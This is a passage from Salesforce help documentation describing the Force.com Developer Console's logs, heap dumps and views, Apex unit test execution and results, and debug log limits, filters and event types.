corresponding log and review the Executed Units tab, which breaks up the request both by time and type. This tab further categorizes the timings by methods, queries, workflows, callouts, DML, validations, triggers, and pages, which gives you a very clear idea of where to find performance issues. Using these tools you can, for example, quickly identify issues with the database by sorting by maximum time and then filtering to only display database events. In addition to the Executed Units tab, you can leverage the Summary tab, which provides a timeline view of the overall request. Within this view, you can review each of the timeline blocks, which filters the corresponding log, allowing you to walk through the events for a given block. You can also leverage the Limits panel, which provides a summary view of resources used and maps them against your allocated request limits.

Navigating within the Force.com Developer Console


The Force.com Developer Console is composed of a set of related tools that let you look at your source code and review how it executes. You can use it to monitor database events, workflow, callouts, validation logic, and other events that are saved in debug logs. The Developer Console is organized into two main sections: 1. A navigation panel for browsing to sources and developer logs. 2. A details area where you open views to examine objects under investigation.

1844

Develop

Navigating within the Force.com Developer Console

You can collapse the navigation panel and some subpanels of different detail views using the corner of the panel, to allow a larger viewing area for items being inspected. The details area can display multiple items, each in its own tab.

or

buttons in the top right

Navigation Tabs
The Developer Console has three tabbed navigation panels used for browsing to things you can examine: LogsAllows you to open existing debug logs and, when open, allows you to capture new logs from actions you take in your org. Heap DumpsAllows you to open heap dumps, a snapshot of the state of executionobjects and variables, references to and from instantiated objectswith links to the related source code. RepositoryAllows you to navigate to and open your objects, Apex classes, triggers, and so on.

These tools allow you open their respective logs, snapshots, and code and data objects. Each item opens in a new tab in the detail area, and you can have many tabs open at once. Note: A limited number of customers won't see the Heap Dumps tab. Contact salesforce.com if you want to examine heap dumps in your organization but don't see the Heap Dumps tab.

Logs Tab
Use the Logs tab to browse to and open debug logs that include database events, Apex processing, workflow, callouts, and validation logic. Open a log by double-clicking it. The log opens in a new System Log tab in the details area.

1845

Develop

Navigating within the Force.com Developer Console

The Developer Console automatically polls for the current user's debug logs. After opening the Developer Console and clicking on the Logs tab, run something that generates a debug log. For example, if you have validation rules associated with inserting an account, insert an account. The Developer Console automatically captures the debug log and adds it to the logs list. Tip: Logs are maintained in the Developer Console for 60 minutes or until you close the Developer Console.

To learn more about some typical ways you can use the System Log view to review a debug log, for example, evaluating Apex code, tracking DML, or monitoring performance, see The System Log View on page 1850. List of Existing Debug Logs You can filter which logs are displayed in the list of debug logs.

1. Clicking Auto Hide Logs automatically hides all logs the next time the page is refreshed. This button is a toggle: click the button a second time to display all logs again. 2. Click Log Levels to specify the logging levels for future requests. Logging levels determine how much information about a request is saved in a debug log. 3. Click Clear to remove all logs from the list. Tip: If you are monitoring debug logs for a user, those logs are still accessible from the Debug Log page. Click Your Name > Setup > Monitoring > Debug Logs. 4. Select This Session Only to display only logs generated since opening the Developer Console. Deselect to see all debug logs currently saved for your organization. 5. Filter the logs by clicking Filter and entering text. For example, if you only want to see a specific user's debug logs, filter by that user's name. The filter is case-sensitive. Execute Anonymous Text Entry Box You can run brief Apex code snippets in the Developer Console to generate new debug logs covering specific application logic: 1. Click the Execute text entry box.

1846

Develop

Navigating within the Force.com Developer Console

2. Enter your code in the popup window. For example:


Account a = new Account(name='Acme'); Insert a; System.debug('The Acme Account Id is: ' + a.id);

3. Click Execute. Code that you enter into the execute text entry box runs as if you had executed it using ExecuteAnonymous. A new debug log with the results of the execution is added to the Logs list. Double-click the log to open a new System Log view populated with information about your executed code. If you have already entered a snippet of code you want to re-test, click Execute. You can't use the keyword static in code that you enter directly into the Developer Console. Caution: If you call a class that contains a testMethod, all DML statements of the test method are executed. This might add unwanted data to your organization. To learn more about some typical ways you can use the System Log view to review a debug log, for example, evaluating Apex code, tracking DML, or monitoring performance, see The System Log View on page 1850.

Heap Dumps Tab


Use the Heap Dumps tab to browse and open heap dumps that include a snapshot of the state of objects in memory at the time of the capture. Open a heap dump by double-clicking it. The heap dump opens in a new Heap Dump Inspector tab in the detail area.

1847

Develop

Navigating within the Force.com Developer Console

To learn more about some typical ways you might use a Heap Dump Inspector tab, for example to evaluate why a branch of execution is or isnt being taken or to verify the expected contents of a variable, see Heap Dump Inspector on page 1854. Heap Dumps List The Heap Dumps list contains the heap dumps currently available for review. Select This Session Only to only display heap dumps generated since opening the Developer Console. Deselect to display all heap dumps currently saved for your organization. Each heap dump in the list displays this information: Column Namespace Class Line Time Description The namespace of the package containing source code marked with the capture point for this heap dump. The Apex class containing the source code marked with the capture point for this heap dump. The source line number marked with the capture point for this heap dump. The time this heap dump was recorded.

Tip: Right click any column header to sort the information in the column. You can also select which columns you want displayed in the Heap Dumps list.

Heap Dump Locations This is a list of the locations in source code where heap dumps are captured. Each item in the list displays this information: Column Class Line Iteration Description The name of the Apex class that contains the capture point. The line number of the capture point. The number of times to execute the marked line of code before capturing the heap dump.

By default the iteration is 1, which means that the heap dump is captured the first time the line of source code executes. You can double-click the iteration number and change it, for example, to investigate why a loop does not terminate when expected.

1848

Develop

Navigating within the Force.com Developer Console

For details about how to add new heap dump capture points to your source code, see The Source Code View on page 1856. Note: Heap dump locations are active while the Developer Console is open. Closing the Developer Console clears the locations.

Repository Tab
Use the Repository tab to browse to and open your application code and data objects. To navigate to an item: 1. In the Setup Entity Type column, click the type of the item you'd like to look at. 2. In the Entities column, scroll and find the item you'd like to examine. 3. Click the item once to see related items in the Related column. For example, click on an object to see the Apex classes that use it. 4. Double-click an item to open it in a new tab. Note: Code-based items, such as Apex classes and triggers, open in a Source Code view, while objects open in a Schema Quick View.

Repository Management and Filtering You can filter which items are displayed in the Repository browser. Click the Filter text entry box and enter a text string to display only items that match the filter criteria. The search is case-sensitive. You can create new code-based items such as Apex classes and triggers in the Repository browser. You can also open and close items, save all changes, and delete existing items.

NewCreates a new Apex class. To create a new Apex trigger, first select the object on which to create the trigger. OpenOpens the selected item, an alternative to double-clicking. Close AllCloses all tabs open in the detail area. If any tab contains unsaved changes, youll be prompted to save them. Save AllSaves changes in all tabs open in the detail area. DeleteDeletes the selected item. You can only delete Apex classes and triggers.

1849

Develop

Working with Views in the Force.com Developer Console

Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your Name > Setup > Create > Objects to work with your custom objects.

Working with Views in the Force.com Developer Console


You can open multiple tabs in the Force.com Developer Console details area. You can open as many tabs as your screen will allow. The open tabs arrangement is preserved when you close and reopen the Developer Console. You can collapse the top and bottom panels using the or buttons in the top right corner of the panel. This is especially useful when working with the information-rich System Log and Source Code views. When collapsed, you can click on a panel to temporarily reveal and use it. When your cursor moves out of the panel, it collapses automatically. You can open four different views in the details area: System Log view Heap Dump Inspector view Source Code view Schema Quick View

The System Log View


You can think about the System Log view as a context-sensitive execution viewer that shows the source of an operation, what triggered that operation, and what occurred afterward. Use this view to inspect debug logs that include database events, Apex processing, workflow, and validation logic. The System Log view contains these sections: 1. 2. 3. 4. 5. 6. 7. 8. 9. Stack Back trace Execution log Execution log filter controls Source window Variables Executed Units tab Limits tab Summary tab

1850

Develop

Working with Views in the Force.com Developer Console

Many sections of the System Log view refresh automatically and display associated information when you click on an item. For example, if you click a folder labeled handleProductPriceChange in the stack section, these sections are updated to display information about that trigger: Back trace Execution log Source

Similarly, if you click a line in the execution log, the stack, back trace, and source are all updated. Clicking items in the Executed Units tab also updates the execution log, stack, back trace, and source sections. Stack and Back Trace The stack section displays a tree structure of the debug log, starting with the top-level operation. It displays information top downfrom initiating calls to the next level down, and so on. Use this to see the hierarchy of items as they are called in the process. For example, if a class calls a second class, the second class is displayed as a child node of the first class. The back trace (the panel below the stack) contains a bottom up view of the currently selected item in the debug log, starting with the lowest level call, followed by the operation that triggered that call, and so on. Each item in the back trace has this information: Column Scope Unit Duration Heap Description Delimited region within the process, such as workflow, a class, or DML. Name of the item (region). Amount of time (in milliseconds) the item took to run. Amount of heap (in bytes) the item used.

1851

Develop

Working with Views in the Force.com Developer Console

Execution Log The execution log contains the debug log for the process. The debug log contains every action that occurred in the process, such as method calls, workflow rules, and DML operations. Hover over long lines in the section to display a popup of the entire line.

Use the execution log to retrace the steps through a process. You can step through lines on your own. You can also use one of the following to filter the debug log: 1. This FrameDisplays that region of the process. For example, if you click CODE_UNIT_STARTED and this check box, the execution log displays only the items in the process that occur between CODE_UNIT_STARTED and its associated CODE_UNIT_ENDED. This displays only the items that are associated with that level. For example, if you have a trigger that calls a class, only the trigger operations are displayed in the execution log. 2. ExecutableDisplays executable items in the debug log. This hides the cumulative limits information, such as the number of SOQL queries made, the number of DML rows, and so on. Tip: View the execution log with Executable checked. Only deselect it when you are working on optimizing your process and need the limits information. 3. FilterDisplays items that match what is entered. For example, if you type DML, all the lines in the execution log with the string DML in either the event or details are displayed. The search is case-sensitive. You can also click Download to download a copy of the debug log as a text file. The default name for the file is apex.log. The execution log section contains this information: Column Timestamp Event Details Description System time when the process began. This is shown in the local user's time. The format is: HH:MM:SS:MSS. Debug event. Additional details pertaining to the event, such as line number and parameters.

1852

Develop

Working with Views in the Force.com Developer Console

Source The source section contains the executed source code or the metadata definitions of entities used during the process. What's displayed in the source section depends on what's selected elsewhere in the System Log view. The source section also lists how many times a line of code was executed. When viewing executed source code, click Open to open it in a new Source Code tab. Tip: A quick way to navigate the source section is to enter a line number in the entry box at the bottom of the source section and click Jump to go to a specific line of code. If validation rules or workflow is executed during the process, the metadata representation of it displays in the source section. See ValidationRule and Workflow in the Metadata API Developer's Guide. Variables Use the variables section to discover when a variable is assigned a valueand what that value is. Click on a Variable event to populate the section. Note: The Apex Code log level must be set to Finest for variable assignments to be logged.

Another way to view the contents of variables is to use the Heap Dump Inspector, which allows you to see more details about entities held in memory at a point of execution. Executed Units, Limits and Summary The Executed Units, Limits, and Summary tabs appear in a panel at the bottom of the Developer Console when you are looking at a System Log view. This section can be collapsed using the button in the top right of the panel. Use the Executed Units tab to examine which items in the process used the most system resources. Use the Limits tab to compare the resources used by the process to overall system limits. The limits are listed by name and amount. Use the Summary tab to see a visual representation of the time each processes took. Use this to identify and isolate parts of your request that take the longest. To filter out the information displayed on the Executed Limits tab by the type of item, click the button for that type. For example, to no longer view methods in the section, click Methods. Click the button a second time to display methods again. Right-click any column header to sort the information in the column. You can also select which columns you want displayed in the Executed Units tab. The Executed Units tab contains this information: Column What Description Type of process item. Types include: Method Queries Workflow Callouts DML Validations Triggers Pages

1853

Develop

Working with Views in the Force.com Developer Console

Column Name Sum Avg Min Max Cnt Heap Query Type

Description Name of the process item. Total duration for the item. Average duration for the item. Minimum amount of time for the item. Maximum amount of time for the item. Number of times the item was called during the process. Amount of space the item took on the heap stack. Type of query. Possible values are: SOQL SOSL Total number of records changed for that item. Average number of records changed for that item. Maximum number of records changed for that item. Minimum number of records changed for that item.

Sum rows Avg rows Max rows Min rows

On the Limits tab, select the unit of time used to display the process. The default is Minutes. The Limits tab contains this information: Column Limit Used so far Request total Total available Description Name of the limit. The amount of the limit used by this process at this point of execution. The amount of this limit used by the request at completion. The total amount for the limit.

The Summary tab contains the following information: Column Category Mills % Description The type of process. Milliseconds of time taken by that process. The percent this process took of the entire request.

The Heap Dump Inspector

1854

Develop

Working with Views in the Force.com Developer Console

The Heap Dump Inspector view lets you browse snapshots of the state of objects in memory at the time of the capture, including references between objects, and the ability to view variables in more detail than offered in the System Log view, including individual items in collections. Use the Heap Dump Inspector to investigate what objects are in memory at a specific point of execution and why, that is, what other objects hold references to them. Note: A limited number of customers won't see the Heap Dumps tab or be able to open Heap Dump Inspector views. Contact salesforce.com if you want to examine heap dumps in your organization but don't see the Heap Dumps tab. The Heap Dump Inspector lets you view a heap dump two different ways, in the Heap tab and the Symbols tab. The Heap Tab The Heap tab displays all objects in memory at the time of the heap dump capture.

The Types column is a flat list of the classes of all instantiated objects in memory at the time of capture, with a count of how many are instantiated, and the amount of memory consumed in bytes. Click an item to see a list of those objects in the Instances column, with their address in the heap and memory consumed. Click an instance to view the variables currently set in that object in the State column. The Symbols Tab The Symbols tab displays all symbols in memory at the time of the heap dump capture. Use it to quickly review the state of the system at the specific line of code (and iteration) where the heap dump was captured.

1855

Develop

Working with Views in the Force.com Developer Console

The Source Code View


The Source Code view displays Apex source files and lets you edit them in the Developer Console. Using the Repository browser, you can open a set of related source code files and switch between them more quickly than using the Setup sidebar. Click Save in the top right corner of the Source Code view to save changes to the current tab. Click Save All in the Repository browser to save changes in all open tabs.

Changes you make in a tab are validated in the background. While you are editing code an error indicator displays on lines causing errors, and the Problems tab shows the details of compilation errors. You can collapse the Problems tab using the button in the corner of the Problems tab. Note: You can't save if you have compilation errors.

To set a marker for a new heap dump capture point, click in the margin to the left of the line numbers. You can change the heap dump iteration for the marker in the Heap Dump Locations list. Note: Heap dump locations are active while the Developer Console is open. Closing the Developer Console clears the locations.

The Schema Quick View


The Schema Quick View gives you a read-only reference for the fields of a standard or custom object, and their data types.

1856

Develop

Examples of Using the Developer Console

Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your Name > Setup > Create > Objects to work with your custom objects.

Examples of Using the Developer Console


Here are some of the ways you can use the tools in the Developer Console to diagnose and resolve problems. Tracing the Path of Execution Viewing System.Debug Statements Updating Source Code Tracking DML in a Request Evaluating the Performance of a Visualforce Page Viewing a Complex Process

Tracing the Path of Execution Scenario: You've opened a debug log in a System Log view. What are some of the ways to step through the information? In the execution log, click Executable. This filters out all non-executable steps, as well as cumulative limits information.

1857

Develop

Examples of Using the Developer Console

You can view the aggregate values of different types of operations in the Executed Units tab. For example, you can view the number of DML operations or the different methods by the type of method. You can also view the governor limits used by this operation in the Limits tab.

Viewing System.Debug Statements Scenario: You've added a number of System.Debug statements to your code to track a request's progress. How do you find them using the System Log view? In the execution log section, click Filter, then enter debug. Note: The filter is case-sensitive.

Only the lines containing the word debug in your request display. Updating Source Code Scenario: After you run your request, you notice an Apex code error in the debug log. What's the easiest way to edit your Apex code? From the source window, select the line of code, then click Open. The Apex editor opens the source code for that class or trigger in a new Source Code tab.

Tracking DML in a Request Scenario: Suppose your request contains many DML statements in different locations. How can you tell how many times DML is executed in a request? Here are two techniques for drilling into a debug log to examine the actual DML executed during the course of a request: 1. In the execution log, click Filter, then enter DML. The filter is case-sensitive. All items in the request that contain DML anywhere in either the event or details display.

1858

Develop

Examples of Using the Developer Console

2. In the Executed Units tab, disable all other types of execution, except for DML. The buttons are togglesclick once to filter that type of operation out of the list. Click again to disable the filter. To view only the DML, click Methods, Queries, Workflow, Callouts, Validations, Triggers and Pages. The name of the DML operation indicates its location, such as Account Insert or Contact Update. You can also view the number of times a DML statement was executed, the number of rows, and so on. If you click a DML request item in the Executed Units tab, the execution log section filters out all other parts of the request, and displays only that DML statement.

You can also use both of these procedures for looking up and filtering queries. Evaluating the Performance of a Visualforce Page Scenario: You have a Visualforce page and an Apex controller that executes SOQL queries. How do you analyze the performance of your page and find out which code unit took the most time? How do you determine how many queries are performed in the request? Also, is it possible to verify how close you are getting to the governor limits? Look for the name of the Visualforce page in the stack trace. The top level has the format /apex/pagename. The first node under that shows the actual execution of the page. If you open that node, you'll see when the controller was initialized. Continue to open nodes to explore the calling of methods and how long each method took. When you click an item in the stack trace, the execution log displays that portion of the debug log, the source window refreshes to display the appropriate source code, and the variables inspector shows the variables that are in context.

1859

Develop

Examples of Using the Developer Console

Click Executed Units to view statistics of your code that include execution time in milliseconds and heap size in bytes. The Cnt column shows the number of times a certain code unit has been executed. If a code unit was executed more than once, the sum, average, maximum, and minimum run times are updated. Similarly, if a query is executed more than once, the rows columns are updated to summarize the aggregate numbers of returned rows. You can filter out code units by clicking the buttons on the bottom that correspond to the code units you want to omit from the view. Tracking DML in a Request has full details on how to do this.

Click Limits to verify the applicable limits, and how close your request is to each applicable limit. The Total Available column shows the governor limits allowed for your organization per type of operation. The Request Total column shows the total number of requests performed. The Used so far column shows the number of requests consumed at the point of execution you selected in the stack trace or execution log.

1860

Develop

Examples of Using the Developer Console

Click Summary to see a timeline of the executed code units broken up by the type of code unit, in addition to the total and percentage of execution time for each type of code unit. The timeline lets you quickly find out which parts of the request took the longest. Select a time interval at the bottom of the summary section to increase or decrease the period displayed in the timeline.

In this example, database requests took the most time (56.95%). They are followed by the Visualforce page. The least amount of time was spent on Apex code. Also, Visualforce pages and Apex code were executed first and last, while database operations were carried out between them. Viewing a Complex Process Scenario: Your process is complex, and includes several Apex classes and triggers, workflow, and validation rules. What are some of the best ways to step through or filter the resulting debug log? The stack section contains a tree structure illustrating the execution path of all the top level items in the request. Use this to see the hierarchy of items as they execute. Use the Filter entry box in the execution log. For example, if you're interested in trigger-specific events, click Filter and enter trigger.

Only the lines in the debug log that contain the word trigger display in the execution log section. The filter is case-sensitive. Limit the scope of the execution log to a specific selected frame of execution by selecting This Frame. For example, if you select a line that contains CODE_UNIT_STARTED in the execution log, and then click This Frame, the execution log displays only the items in the request that occur between CODE_UNIT_STARTED and its associated CODE_UNIT_ENDED. Note: When This Frame is selected the execution log only displays the items that are contained in that frame, not any lower level operations. For example, if a trigger calls a class, only the trigger operations display in the execution log, not the class operations.

About Apex Unit Tests

1861

Develop

About Apex Unit Tests

Available in: Unlimited, Developer, Enterprise, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more. To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. Before you can deploy your code or package it for the Force.com AppExchange, the following must be true: You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers must have some test coverage. We recommend that you have 100% of your code covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests.

You can run unit tests for: a specific class a subset of classes all unit tests in your organization

If your test calls another class or causes a trigger to execute, that Apex is included in the total amount used for calculating the percentage of code covered.

See Also:
Apex Code Overview Working with Apex Test Execution Viewing Test Results Apex Test Results What is a Debug Log? About the Force.com Developer Console Developer's Guide: Force.com Apex Code Developer's Guide

Working with Apex Test Execution

1862

Develop

About Apex Unit Tests

Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

To use the Apex Test Execution page: 1. Click Your Name > Setup > Develop > Apex Test Execution. 2. Click Select Tests.... Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking Compile all classes on the Apex Classes page so that they appear in the list. See Managing Apex Classes on page 1829. 3. Select the tests to run. The list of tests contains classes that contain test methods. To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only the classes of the managed package with the selected namespace appear in the list. To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that aren't from managed packages appear in the list. To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not they are from a managed package. Note: Classes whose tests are still running don't appear in the list.

4. Click Run. After selecting test classes to run, the selected classes are placed in the Apex job queue for execution. The maximum number of test classes you can select for execution is the greater of 500 or 10 multiplied by the number of test classes in the organization. While tests are running, you can select one or more tests and click Abort to cancel the test. After a test finishes running, you can: Click the test to see result details. If a test fails, the first error message and the stack trace display. Click View to see the source Apex code. Note: Test results display for 60 minutes after they finish running.

After you run tests using the Apex Test Execution page, you can display the percentage of code covered by those tests on the list of Apex classes. Click Your Name > Setup > Develop > Apex Classes, then click Calculate your organization's code coverage.

1863

Develop

About Apex Unit Tests

Note: The code coverage value computed by Calculate your organization's code coverage may differ from the code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't. You can also verify which lines of code are covered by tests for an individual class. Click Your Name > Setup > Develop > Apex Classes, then click the percentage number in the Code Coverage column for a class. Use the Apex Test Results page to see all test results for your organization. Click Your Name > Setup > Develop > Apex Test Execution > View Test History. Use the Developer Console to see additional information about your test execution: 1. Click Your Name > Setup > Developer Console. 2. Run your tests using the Apex Test Execution page. 3. Check the Developer Console to step through the request.

See Also:
Apex Code Overview About Apex Unit Tests Apex Test Results Viewing Test Results Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Test Results


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

To use the Apex Classes page to generate test results, click Your Name > Setup > Develop > Apex Classes, then either click Run All Tests or click the name of a specific class that contains tests and click Run Test. After you use the Apex Classes page to generate test results, the test result page contains the following sections. Each section can be expanded or collapsed. A summary section that details the number of tests run, the number of failures, the percentage of Apex code that is covered by unit tests, the total execution time in milliseconds, and a link to a downloadable debug log file. The debug log is automatically set to specific log levels and categories, which can't be changed. Category Database Level INFO

1864

Develop

About Apex Unit Tests

Category Apex Code Apex Profiling Workflow Validation

Level FINE FINE FINEST INFO

Important: You must have at least 75% of your Apex covered by unit tests to deploy your code to production environments. In addition, all triggers should have some test coverage. We recommend that you have 100% of your code covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests. Test successes, if any. Test failures, if any. A code coverage section. This section lists all the classes and triggers in your organization, and the percentage of lines of code in each class and trigger that are covered by tests. If you click the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test Test coverage warnings, if any.

You can also view test results by clicking Your Name > Setup > Develop > Apex Test Execution > View Test History. This page displays all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run. To view test results of tests that are executed using the Apex Test Execution page, see Working with Apex Test Execution on page 1862.

See Also:
Apex Code Overview About Apex Unit Tests Working with Apex Test Execution Managing Apex Classes Developer's Guide: Force.com Apex Code Developer's Guide

Apex Test Results

1865

Develop

About Apex Unit Tests

Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

Click Your Name > Setup > Develop > Apex Test Execution > View Test History to view all test results for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click View to view more details about a specific test run.

See Also:
Apex Code Overview Working with Apex Test Execution Apex Test Results Details Developer's Guide: Force.com Apex Code Developer's Guide

Apex Test Results Details


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show Author Apex dependencies, and run tests for Apex classes:

To view all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run, click Your Name > Setup > Develop > Apex Test Execution > View Test History. Click View to view more details about a specific test run.

See Also:
Apex Code Overview Apex Test Results Developer's Guide: Force.com Apex Code Developer's Guide

1866

Develop

What is a Debug Log?

What is a Debug Log?


Available in: Unlimited, Developer, Enterprise, and Database.com Editions The Salesforce user interface, Email Services, and Approvals are not available in Database.com.

User Permissions Needed To use the Force.com Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: View All Data Author Apex Author Apex

A debug log records database operations, system processes, and errors that occur when executing a transaction or while running unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter criteria. Transactions can be generated from the following: Salesforce user interface API executeanonymous calls Web services Email services

The filter criteria set for the user, the Developer Console or the API header determines what is included in the debug log. Debug logs can contain information about: Database changes HTTP callouts Apex errors Resources used by Apex Automated workflow processes, such as: Workflow rules Assignment rules Approval processes Validation rules

The following are examples of when you use a debug log: You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in the debug log, view information about the success and duration of those callouts. You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug logs for that user, have them step through the transaction, and then use the debug log to view the system details of the transaction.

1867

Develop

What is a Debug Log?

Debug Log Limits


The following are the limits for debug logs: Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten. Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated. See Debug Log Truncation. Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten.

Debug Log Truncation


Debug logs are truncated starting from the oldest log entries. The newer log entries are preserved. This allows you to have access to the most pertinent information leading to an error that you are diagnosing. The debug log gets truncated by 200 KBytes when it reaches its maximum size of 2 MB. Some log entries don't get truncated and will always be part of the debug log, even if they're part of the oldest log entries, because they're necessary for processing the debug log. However, other log information that appears between the start and end lines of these log entries will be removed as part of log truncation. The following are the events that are associated with non-deletable log entries.
EXECUTION_STARTED EXECUTION_FINISHED CODE_UNIT_STARTED CODE_UNIT_FINISHED METHOD_ENTRY METHOD_EXIT CONSTRUCTOR_ENTRY CONSTRUCTOR_EXIT SOQL_EXECUTE_BEGIN SOQL_EXECUTE_END SOSL_EXECUTE_BEGIN SOSL_EXECUTE_END CALLOUT_REQUEST CALLOUT_RESPONSE FATAL_ERROR

See Also:
Viewing Debug Logs Setting Debug Log Filters Monitoring Debug Logs Retaining Debug Logs About the Force.com Developer Console About Apex Unit Tests Apex Code Overview Developer's Guide: Force.com Apex Code Developer's Guide

Setting Debug Log Filters


1868

Develop

Setting Debug Log Filters

Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To use the Force.com Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: View All Data Author Apex Author Apex

When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log. Log category The type of information logged, such as information from Apex or workflow rules. Log level The amount of information logged. Event type The combination of log category and log level that specify which events get logged. Each event can log additional information, such as the line and character number where the event started, fields associated with the event, duration of the event in milliseconds, and so on.

Debug Log Categories


You can specify the following log categories. The amount of information logged for each category depends on the log level: Log Category
Database Workflow Validation Callout

Description Includes information about database activity, including every data manipulation language (DML) statement or inline SOQL or SOSL query. Includes information for workflow rules, such as the rule name, the actions taken, and so on. Includes information about validation rules, such as the name of the rule, whether the rule evaluated true or false, and so on. Includes the request-response XML that the server is sending and receiving from an external Web service. This is useful when debugging issues related to using Force.com Web services API calls. Includes information about Apex code and can include information such as log messages generated by DML statements, inline SOQL or SOSL queries, the start and completion of any triggers, and the start and completion of any test method, and so on. Includes cumulative profiling information, such as the limits for your namespace, the number of emails sent, and so on.

Apex Code

Apex Profiling

1869

Develop

Setting Debug Log Filters

Log Category
Visualforce System

Description Includes information about Visualforce events including serialization and deserialization of the view state or the evaluation of a formula field in a Visualforce page. Includes information about calls to all system methods such as the System.debug method.

Debug Log Levels


You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels. Note: Not all levels are available for all categories: only the levels that correspond to one or more events.

ERROR WARN INFO DEBUG FINE FINER FINEST

Debug Event Types


The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event identifier: timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console. event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and character number where the code was executed.

The following is an example of a debug log line.

Figure 16: Debug Log Line Example In this example, the event identifier is made up of the following: Event name:
USER_DEBUG

1870

Develop

Setting Debug Log Filters

Line number of the event in the code:


[2]

Logging level the System.Debug method was set to:


DEBUG

User-supplied string for the System.Debug method:


Hello world!

The following example of a log line is triggered by this code snippet.

Figure 17: Debug Log Line Code Snippet The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier is made up of the following: Event name:
DML_BEGIN

Line number of the event in the code:


[5]

DML operation typeInsert:


Op:Insert

Object name:
Type:Invoice_Statement__c

Number of rows passed into the DML operation:


Rows:1

The following table lists the event types that are logged, what fields or other information get logged with each event, as well as what combination of log level and category cause an event to be logged.

1871

Develop

Setting Debug Log Filters

Event Name
BULK_HEAP_ALLOCATE CALLOUT_REQUEST CALLOUT_RESPONSE CODE_UNIT_FINISHED CODE_UNIT_STARTED

Fields or Information Logged With Event Number of bytes allocated Line number, request headers Line number, response body None Line number, code unit name, such as
MyTrigger on Account trigger event BeforeInsert for [new]

Category Logged Apex Code Callout Callout Apex Code Apex Code

Level Logged FINEST INFO and above INFO and above ERROR and above ERROR and above

CONSTRUCTOR_ENTRY

Line number, Apex class ID, the sring Apex Code <init>() with the types of parameters, if any, between the parentheses Line number, the string <init>() with Apex Code the types of parameters, if any, between the parentheses Apex Profiling Apex Profiling Apex Profiling Apex Profiling Apex Profiling Apex Code

DEBUG and above

CONSTRUCTOR_EXIT

DEBUG and above

CUMULATIVE_LIMIT_USAGE None CUMULATIVE_LIMIT_USAGE_END None CUMULATIVE_PROFILING

INFO and above INFO and above FINE and above FINE and above FINE and above INFO and above

None

CUMULATIVE_PROFILING_BEGIN None CUMULATIVE_PROFILING_END None DML_BEGIN

Line number, operation (such as Insert, Update, and so on), record name or type, number of rows passed into DML operation Line number Line number Package namespace Line number, exception type, message None None Exception type, message, stack trace Line number, number of bytes Line number, number of bytes deallocated Line number Namespace, following limits:
Number of SOQL queries Number of query rows

DML_END EMAIL_QUEUE ENTERING_MANAGED_PKG EXCEPTION_THROWN EXECUTION_FINISHED EXECUTION_STARTED FATAL_ERROR HEAP_ALLOCATE HEAP_DEALLOCATE IDEAS_QUERY_EXECUTE LIMIT_USAGE_FOR_NS

Apex Code Apex Code Apex Code Apex Code Apex Code Apex Code Apex Code Apex Code Apex Code DB Apex Profiling

